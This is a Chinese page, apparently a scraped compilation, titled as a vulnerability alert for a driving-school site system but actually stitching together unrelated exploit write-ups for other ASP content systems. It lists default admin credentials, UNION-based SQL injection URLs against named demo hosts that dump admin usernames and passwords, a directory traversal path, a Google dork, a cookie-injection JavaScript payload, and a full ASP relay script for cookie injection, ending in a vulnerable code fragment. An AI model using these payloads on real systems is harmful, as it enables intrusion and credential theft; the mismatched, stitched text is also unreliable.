驾校培训网站管理系统 v1.0 漏洞漏洞预警

驾校培训网站管理系统 v1.0 漏洞漏洞预警（精选3篇）

1.驾校培训网站管理系统 v1.0 漏洞漏洞预警 篇一

默认信息:

“智有道”专业旅游网站系统是智有道团队专业开发，针对目前的旅游平台进行强大的功能开发！

后台管理

后台路径：admin/login.asp

管理员：user:admin

密码：psw:123456

下载地址:down.chinaz.com/soft/30295.htm

Demo Url:will.w701.hzdemo.cn/

exp:

will2011.w701.hzdemo.cn/info/show.asp?id=90 union select 1,userid,3,4,5,userpsw,7,8,9,10,11,12,13,14,15,16,17 from admin

或者：

will2011.w701.hzdemo.cn/info/show.asp?id=90 union select 1,userid,3,4,5,userpsw,7,8,9,10,11,12,13,14,15 from admin

遍历目录：

www.0855.tv/admin/do/admin_uploadfile.asp?id=1&dir=../..

其它：

www.0855.tv/admin/do/Admin_Style.asp

www.0855.tv/admin/do/data.asp

关键字：

为防批量，特略，

智有道专业旅游系统 v1.0 漏洞漏洞预警

，

2.驾校培训网站管理系统 v1.0 漏洞漏洞预警 篇二

其他版本未做测试

/*应该是所有的*/

漏洞文件：

EnProductShow.asp/*后续版本*/

Product_Show.asp/*早期版本*/

ProductShow.asp/*后期版本*/

其实都是一样的-_-!

漏洞描述：

变量ID信任客户端提交值，带入sql语句查询，程序用了通用SQL防注入程序，详细见Check_Sql.asp，关键代码如下

****************************************************************************

[复制到剪贴板]

CODE:

ID=trim(request(”ID”))

ifID=”“then

response.Redirect(”EnProduct.asp”)

endif

sql=”select*fromProductwhereID=”&ID&“”

Setrs=Server.CreateObject(”ADODB.Recordset”)

rs.opensql,conn,1,3

ifrs.bofandrs.eofthen

response.write””

else

rs(”Hits”)=rs(”Hits”)+1

rs.update

****************************************************************************

Check_Sql.asp仅对GET和POST的数据进行了过滤，忽略了Cookie利用方法：

Google搜索关键字inurl:”EnProductShow.asp?id=”

cookie注入，支持union，Product表26个字段，演示如下

localhost/EnProductShow.asp?ID=229

javascript.:alert(document.cookie=”id=”+escape(”229unionselect0,1,2,3,4,5,6,username,8,password,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25fromadmin”))

localhost/EnProductShow.asp

即可union出管理员帐号，密码(md5值)

后台地址

/admin/login.asp

后台拿shell方法很多。略过

补充：南方数据企业网站管理系统ver10.0，漏洞和这个是一样的，利用的方法也大致相同，只是admin的字段数目不一样而已

/*―――――――――-xiao.k的注释&补充_0614―――――――――-*/

本来自己也在分析这个系统的,既然tr4c3在很久之前就分析了.我也没啥必要去看了.

发现的问题就是union不能alert出pwd.

我的方法是中转cookies注入,脚本原型来自jmdcw

########################################################

[复制到剪贴板]

CODE:

<%

ID=request(”ID”)’确认id存在!

JmdcwName=escape(ID)

JmStr=”id=”&JmdcwName

url=request(”url”)

ifrequest(”mod”)=”1″then

url2=”Product_Show.asp”‘早期版本

else

url2=”ProductShow.asp”‘后期版本

endif

Url=””&url&”/”&url2‘请自行修改

JMUrl=url

JmRef=url

JmCok=”ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ”

JmCok=JmCok&“;”&Jmstr&”;”

JmCok=URLEncoding(JmCok)

jmstr=””

response.writePostData(JMUrl,JmStr,JmCok,JmRef)

FunctionPostData(PostUrl,PostStr,PostCok,PostRef)

DimHttp

SetHttp=Server.CreateObject(”msxml2.serverXMLHTTP”)

WithHttp

.Open“POST”,PostUrl,False

.SetRequestHeader“Content-Length”,Len(PostStr)

.SetRequestHeader“Content-Type”,”application/x-www-form-urlencoded”

.SetRequestHeader“Referer”,PostRef

.SetRequestHeader“Cookie”,PostCok

.SendPostStr

PostData=.ResponseBody

EndWith

SetHttp=Nothing

PostData=bytes2BSTR(PostData)

EndFunction

Functionbytes2BSTR(vIn)

DimstrReturn

DimI,ThisCharCode,NextCharCode

strReturn=“”

ForI=1ToLenB(vIn)

ThisCharCode=AscB(MidB(vIn,I,1))

IfThisCharCode<&H80Then

strReturn=strReturn&Chr(ThisCharCode)

Else

NextCharCode=AscB(MidB(vIn,I+1,1))

strReturn=strReturn&Chr(CLng(ThisCharCode)*&H100+CInt(NextCharCode))

I=I+1

EndIf

Next

bytes2BSTR=strReturn

EndFunction

FunctionURLEncoding(vstrin)

strReturn=”“

Dimi

Fori=1ToLen(vstrin)

ThisChr=Mid(vstrin,i,1)

ifAbs(Asc(ThisChr))<&HFFThen

strReturn=strReturn&ThisChr

Else

InnerCode=Asc(ThisChr)

IfInnerCode<0Then

InnerCode=InnerCode+&H10000

EndIf

Hight1=(InnerCodeAnd&HFF00)&HFF

Low1=InnerCodeAnd&HFF

strReturn=strReturn&“%”&Hex(Hight1)&“%”&Hex(Low1)

Endif

Next

URLEncoding=strReturn

EndFunction

%>

########################################################

保存为cookies.asp

usage:

blog.sadk.org/temp/02/cookies.asp?mod=2&url=admin.asp99.cn/ljweb2007&id=80

注意:需要添加关键字的.

id一定要存在

3.驾校培训网站管理系统 v1.0 漏洞漏洞预警 篇三

dim sql

dim rs

sql = ”select * from [“&CgsailPrefix&”admin] where id=“&request(”id“)

Set rs = Server.CreateObject(”ADODB.RecordSet“)

rs.Open sql,conn,1,1

photo=trim(rs(”photo“))

%>